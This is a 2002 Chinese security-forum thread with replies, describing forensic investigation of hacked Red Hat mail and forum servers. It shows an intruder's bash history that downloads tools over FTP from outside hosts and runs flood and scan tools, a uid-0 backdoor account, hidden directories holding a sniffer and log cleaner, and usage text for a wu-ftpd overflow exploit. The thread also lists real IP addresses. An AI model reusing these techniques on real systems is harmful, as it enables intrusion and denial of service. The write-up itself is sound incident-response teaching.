|
![]() | 作者: quest [quest]
![]() |
登录 |
今天上班的时候有客户打电话来说root的密码被改了登陆不上去..... 我用普通用户登陆,可以登陆,于是随手把自己前些日子修改的一个exploit放上去运行...#出来了。接着习惯性的动作就是ps -aux 看看都启用了哪些进程。 root 1 0.0 0.1 1368 544 ? S Dec16 0:04 init [3] root 2 0.0 0.0 0 0 ? SW Dec16 0:00 [keventd] root 3 0.0 0.0 0 0 ? SW Dec16 0:00 [kswapd] root 4 0.0 0.0 0 0 ? SW Dec16 0:00 [kreclaimd] root 5 0.0 0.0 0 0 ? SW Dec16 0:00 [bdflush] root 6 0.0 0.0 0 0 ? SW Dec16 0:00 [kupdated] root 7 0.0 0.0 0 0 ? SW< Dec16 0:00 [mdrecoveryd] root 437 0.0 0.1 1856 724 ? S Dec16 0:02 /usr/bin/ssh2d -q root 589 0.0 0.1 1480 640 ? S Dec16 0:00 /usr/sbin/automount --timeout 60 /misc file /etc/auto.misc root 675 0.0 0.0 1396 484 ? S Dec16 0:00 gpm -t ps/2 -m /dev/mouse root 691 0.0 1.0 9932 5320 ? S Dec16 0:00 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA root 703 0.0 0.1 1552 692 ? S Dec16 0:00 crond root 718 0.0 0.1 2128 1020 ? S Dec16 0:00 /bin/sh /usr/bin/safe_mysqld --datadir=/var/lib/mysql --pid-file=/var mysql 751 0.0 0.5 12556 2724 ? S Dec16 0:00 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 769 0.0 0.5 12556 2724 ? S Dec16 0:00 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 770 0.0 0.5 12556 2724 ? S Dec16 0:00 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- xfs 777 0.0 0.6 4616 3332 ? S Dec16 0:00 xfs -droppriv -daemon root 803 0.0 0.0 1340 436 tty2 S Dec16 0:00 /sbin/mingetty tty2 root 804 0.0 0.0 1340 436 tty3 S Dec16 0:00 /sbin/mingetty tty3 root 805 0.0 0.0 1340 436 tty4 S Dec16 0:00 /sbin/mingetty tty4 root 807 0.0 0.0 1340 436 tty6 S Dec16 0:00 /sbin/mingetty tty6 root 824 0.0 0.0 1340 436 tty1 S Dec16 0:00 /sbin/mingetty tty1 root 826 0.0 0.0 1340 436 tty5 S Dec16 0:00 /sbin/mingetty tty5 root 832 0.0 0.0 1652 292 ? S Dec16 0:00 awk -v progname=/etc/cron.daily/0anacron progname {????? print prog root 13546 0.0 0.0 2508 444 ? S Dec16 0:00 ps x root 13547 0.0 0.0 2508 444 ? S Dec16 0:00 ps x root 14552 0.0 31.1 160800 159852 ? S Dec16 0:02 minilogd root 3569 0.0 0.1 2240 980 ? S 09:24 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid root 4065 0.0 0.1 1716 828 ? S 10:15 0:00 in.telnetd: 218.17.59.221 root 4066 0.0 0.2 2312 1224 pts/1 S 10:15 0:00 login -- yuserjj apache 4458 0.0 1.1 10220 6012 ? S 12:01 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4459 0.0 1.1 10304 6084 ? S 12:01 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4460 0.0 1.2 10440 6192 ? S 12:01 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4461 0.0 1.2 10456 6192 ? S 12:01 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4462 0.0 0.5 12556 2724 ? S 12:03 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4463 0.0 1.1 10208 5996 ? S 12:05 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4464 0.0 0.5 12556 2724 ? S 12:06 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4465 0.0 1.1 10212 6000 ? S 12:06 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4466 0.0 0.5 12556 2724 ? S 12:06 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4467 0.0 0.5 12556 2724 ? S 12:06 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4468 0.0 0.5 12556 2724 ? S 12:06 0:08 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4469 0.0 0.5 12556 2724 ? S 12:07 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4472 0.0 1.1 10216 6008 ? S 12:12 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4473 0.0 1.1 10216 6004 ? S 12:12 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4474 0.0 0.5 12556 2724 ? S 12:14 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4475 0.0 0.5 12556 2724 ? S 12:16 0:08 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4476 0.0 1.1 10300 6076 ? S 12:17 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4477 0.0 0.5 12556 2724 ? S 12:18 0:07 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4480 0.0 1.1 10308 6076 ? S 12:20 0:01 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4481 0.0 0.5 12556 2724 ? S 12:21 0:06 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4484 0.0 1.1 10296 6076 ? S 12:37 0:02 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4485 0.0 0.5 12556 2724 ? S 12:38 0:06 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- apache 4545 0.0 1.2 10464 6196 ? S 14:01 0:01 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4546 0.0 1.1 10300 6084 ? S 14:01 0:01 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA apache 4547 0.0 1.1 10308 6076 ? S 14:01 0:01 /usr/sbin/httpd -DHAVE_PROXY -DHAVE_ACCESS -DHAVE_ACTIONS -DHAVE_ALIA mysql 4548 0.1 0.5 12556 2724 ? S 14:06 0:04 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4549 0.1 0.5 12556 2724 ? S 14:06 0:04 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 4550 0.1 0.5 12556 2724 ? S 14:07 0:03 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- root 4565 0.0 0.2 2100 1252 ? S 14:42 0:00 /usr/bin/ssh2d -q root 4659 0.0 0.1 1716 828 ? S 14:55 0:00 in.telnetd: 218.17.59.221 root 4660 0.0 0.2 2312 1224 pts/2 S 14:55 0:00 login -- yuserjj 好像没什么错误。以是又netstat -an |grep LISTENING 也很正常,难道...管理员忘了密码(我实在想不通,谁把服务器黑了,会把root的密码改了,有这么大的仇?)。不管了,慢慢看吧。 [root@forum /root]# last 有几个来自mail服务器的登陆,难道是先把mail拿下,然后再把forum拿下。(这是一个论坛服务器,还有一个mail和一个web服务器)。得,稳重起见,先到mail服务器上看个研竟... 这里开始是在mail上工作了... telnet mail.xxx.com... .... .... [root@mail /root]#last ..... ..... naeko pts/0 200.58.48.69 Sat Dec 14 19:06 - 15:59 (1+20:52) =>嘿嘿,现形了吧。 naeko这用户有点可疑哦? [root@mail /root]more /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/var/ftp: nobody:x:99:99:Nobody:/: apache:x:48:48:Apache:/var/www:/bin/false xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false rpc:x:32:32:Portmapper RPC user:/:/bin/false mailnull:x:47:47::/var/spool/mqueue:/dev/null xng:x:500:500::/home/xng:/bin/bash mysql:x:501:501::/home/mysql:/bin/bash alias:x:502:502::/var/qmail/alias:/bin/bash qmaild:x:503:502::/var/qmail/:/bin/bash qmaill:x:504:502::/var/qmail/:/bin/bash qmailp:x:505:502::/var/qmail/:/bin/bash qmailq:x:506:503::/var/qmail/:/bin/bash qmailr:x:507:503::/var/qmail/:/bin/bash qmails:x:508:503::/var/qmail/:/bin/bash vpopmail:x:509:504::/home/vpopmail:/bin/bash yjj:x:510:510::/home/yjj:/bin/bash etel:x:511:505:etel:/home/etel:/bin/sh naeko:x:0:0::/home/naeko:/bin/bash ==============>我靠,胆子也太大了吧? [root@mail /root]# 好了好了,越来越明显了... [root@mail /root]#ps -aux bash: /bin/ps: No such file or directory ======>啊?不是吧? [root@mail /root]#whereis ps ps: /bin/ps 看来ps是被替换了,但可能程序出错了吧。 得,我们看看他都做了些什么。 [root@mail /root]#passwd naeko ==>先把他的密码改了...不然以后还不知道有啥出现。 [root@mail /root]#su naeko passwd: [root@mail /neako]#more .bash_history .... .... killall -9 sshd ls ftp 195.138.124.35 ftp 193.231.236.42 ls ftp 213.154.128.147 tar -xzvf emech.tar.gz tar -xzvf fl00d.tgz tar -xzvf syn.tgz ls rm -rf emech.tar.gz lpd rm -rf syn.tgz up2date rm -rf fl00d.tgz ls cd bin ./juno 67.38.105.218 ./juno 67.38.105.218 22 ./juno 192.168.0.8 22 ======>看到没,果然是从这里冲进去的 192.168.0.22 就是forum Server。 哪哪哪...你看看...来了吧...看来这mail server真的是被列入DDOS肉机之一... Ok了,确定了是从mail过去了,以后的工作就简单些了,先把mail上的后门、及其他的一些工具给找出来吧... ps又不能用了,气人. 我从我的机器上cp一个rh7.2的ps上去(这服务器是rh7.1的,N多的补丁没打)。 [root@mail /neako]#ps -aux .... root 5067 0.0 0.0 1340 436 tty2 S 15:48 0:00 /var/spool/cron/.../sl2 -->这是什么东东,没见过。管他的,把他找出来再说吧 [root@mail /neako]#cd /var/spool/cron [root@mail /neako]#ls root [root@mail /neako]# 啊,不是吧?就这样? [root@mail /neako]#ls -la total 28 drwx------ 3 root root 4096 Dec 17 12:45 . drwxr-xr-x 12 root root 4096 Dec 14 19:43 .. drwxr-xr-x 3 root root 4096 Dec 14 19:09 .. ------>>看到了没.相信大家都玩过安全焦点的那个黑客游戏的吧?就跟这个一样。 -rw------- 1 root root 12288 Jul 24 2001 .root.swp ------>> -rw-r--r-- 1 root root 147 Sep 17 2001 root [root@mail /neako]#cd ".. "(后面还有不可见字符)最后的办法就是cd "..然后+tab键,再+" [root@mail /neako]#ls -la total 12 drwxr-xr-x 3 root root 4096 Dec 14 19:09 . drwx------ 3 root root 4096 Dec 17 12:45 .. drwxr-xr-x 3 root root 4096 Dec 14 19:09 ... ---->还想隐藏起来... [root@mail /neako]# cd "..." 藏得真深... total 32 drwxr-xr-x 3 root root 4096 Dec 14 19:09 . drwxr-xr-x 3 root root 4096 Dec 14 19:09 .. -rwx------ 1 root root 75 Sep 25 1983 logclear drwxr-xr-x 7 root root 4096 Oct 31 2001 m -rwxr-xr-x 1 root root 4060 Sep 25 1983 sense -rwx------ 1 root root 8268 Sep 25 1983 sl2 -rw-r--r-- 1 root root 0 Dec 14 19:09 sni.fer -rw-r--r-- 1 root root 0 Dec 14 19:09 tcp.log [root@mail /neako]# 终于现形了.... 这里面几乎都是一些用来出的exploit.得,我们看看他是怎么把这台mail拿下的。 看了半天,原来是通过sshd远程溢出...得...这管理员也算做到家了... 再分析我们的forum主机吧. ------------------以下是forum主机------------------- [root@forum /root]# 其实我总觉得forum的ps有点不对劲,少了点什么呢。又想不起来...我到mail上看看 [root@mail /root]#ps -aux ...... ...... root 12747 0.0 0.3 2764 896 pts/0 R 16:01 0:00 /home/test/ps -aux 这是最后一条记录. 看看我们的forum的 [root@forum /root]#ps -aux ... ... mysql 5155 0.1 0.5 12608 2780 ? S 16:13 0:01 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 5156 0.1 0.5 12608 2780 ? S 16:13 0:01 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- mysql 5159 0.2 0.5 12608 2780 ? S 16:16 0:01 /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql -- 看到了没。 正常的ps -aux是会把你最后的一个动作给显示出来的。这个没有,那么...就是说...这个也已经被... 把ps 再copy一个过来就知道了. [root@forum /root]#ps -aux root 5189 64.0 0.1 1440 596 pts/4 R 16:34 0:16 ./superwu 203.172.9.105 21 ===>TNND,还有东东在后台工作.. root 5193 0.0 0.1 2780 880 pts/2 R 16:35 0:00 ./ps -aux ...看到没有,这才是最后的一条进程... 我们再看看super是啥子东东.. [root@forum .. ]# pwd /root/boom/.. --双一个隐藏目录! [root@forum .. ]# ./superwu -h Usage: ./superwu -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x] [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir] target : host with any wuftpd user : anonymous user dir : if not anonymous user, you need to have writable directory magic_str : magic string (see exploit description) -g : enables magic string digging -x : enables test mode pass_addr : pointer to setproctitle argument ret_addr : this is pointer to shellcode systypes: 0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm 3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test) 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports * 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages 原来是wu-ftp的一个溢出... 大体的分析就是这样了。 被替换的程序有 ps/netstat/strings/gcc/gdb....等。ps/netstat/strings是常常被替换掉的,但是gcc和gdb很少。这里他做了 得,像这样的系统,我看很难"修理”了,打个电话给网管,叫他把系统重做,然后把相关补丁打上吧。 好了,这是一个很简单的"入侵检测"。 主要目的是让大家知道,也许你用的PS已经不正常了。 也放你更应该用的命令是ls -al 而不是ls。 文章不足之处,还希望大家多多指点... [此贴被 探索者(quest) 在 12月17日16时50分 编辑过] |
地主 发表时间: 2002-12-17 16:42:50 |
![]() | 回复: quest [quest] ![]() |
登录 |
以上IP都是真实IP,希望大家慎用...:D 还有一个是美国的IP... |
B1层 发表时间: 12/17 16:41 |
![]() | 回复: syshunter [syshunter] ![]() |
登录 |
好,文章不错,有代表性,很多所谓的HACKER走人之前都留个LASTLOG,而且HISTORY不清,让管理员事后省了不少心,哈哈。 |
B2层 发表时间: 12/17 16:48 |
![]() | 回复: cimsxiyang [cimsxiyang] ![]() |
登录 |
不仅是你觉得不对劲,我看得也糊涂。 =========================================================== “哪哪哪...你看看...来了吧...看来这mail server真的是被列入DDOS肉机之一” 这和DDOS有什么关系? 所谓ddos攻击,一般用高速的大流量的很小的包(也可以称为碎片)来填满你的网卡缓存,因为没有完成3次握手,而导致SYN包的积压,server因等待SYN状态的包响应直到它超时而停止服务。 ========================== 既然你看到了 “root 5067 0.0 0.0 1340 436 tty2 S 15:48 0:00 /var/spool/cron/.../sl2” 那么,该去的应该是/var/spool/cron/.../,而不是/var/spool/cron 但是,你下面又说,先是cd ".. ",然后cd ... 搞的我一愣一愣的。什么意思,不矛盾吗? 呵呵................ |
B3层 发表时间: 12/18 13:09 |
![]() | 回复: quest [quest] ![]() |
登录 |
呵呵,说了,我写文章很一般 tar -xzvf emech.tar.gz tar -xzvf fl00d.tgz tar -xzvf syn.tgz 可能你没看到这三个包.... 如果真的可以直接cd /var/spool/cron/.../的话,我就不会分两步走... 本来是可以加上 cd "/var/spool/cron/.../"的。但是当然我没这么做。我想这样更能让大家了解到 ..:( |
B4层 发表时间: 12/18 13:22 |
![]() | 回复: syshunter [syshunter] ![]() |
登录 |
hehe,夕阳,细心是对的,不过~`` |
B5层 发表时间: 12/18 13:27 |
![]() | 回复: syshunter [syshunter] ![]() |
登录 |
好啦好啦,误会误会。 |
B6层 发表时间: 12/18 13:40 |
![]() | 回复: NetDemon [netdemon] ![]() |
登录 |
很好的文章 |
B7层 发表时间: 12/18 21:08 |
![]() | 回复: magic [buaaytt] ![]() |
登录 |
我理想的工作就是干这事儿 可是就是找不到这样的工作 |
B8层 发表时间: 12/20 20:02 |
![]() | 回复: suson [suson] ![]() |
登录 |
ai,何时才能象你们那摸厉害啊。 |
B9层 发表时间: 12/23 15:23 |
![]() | 回复: aassddff [aassddff] ![]() |
登录 |
能不能放点unix的水呀,我对这个不懂噢! |
B10层 发表时间: 02/10 14:34 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号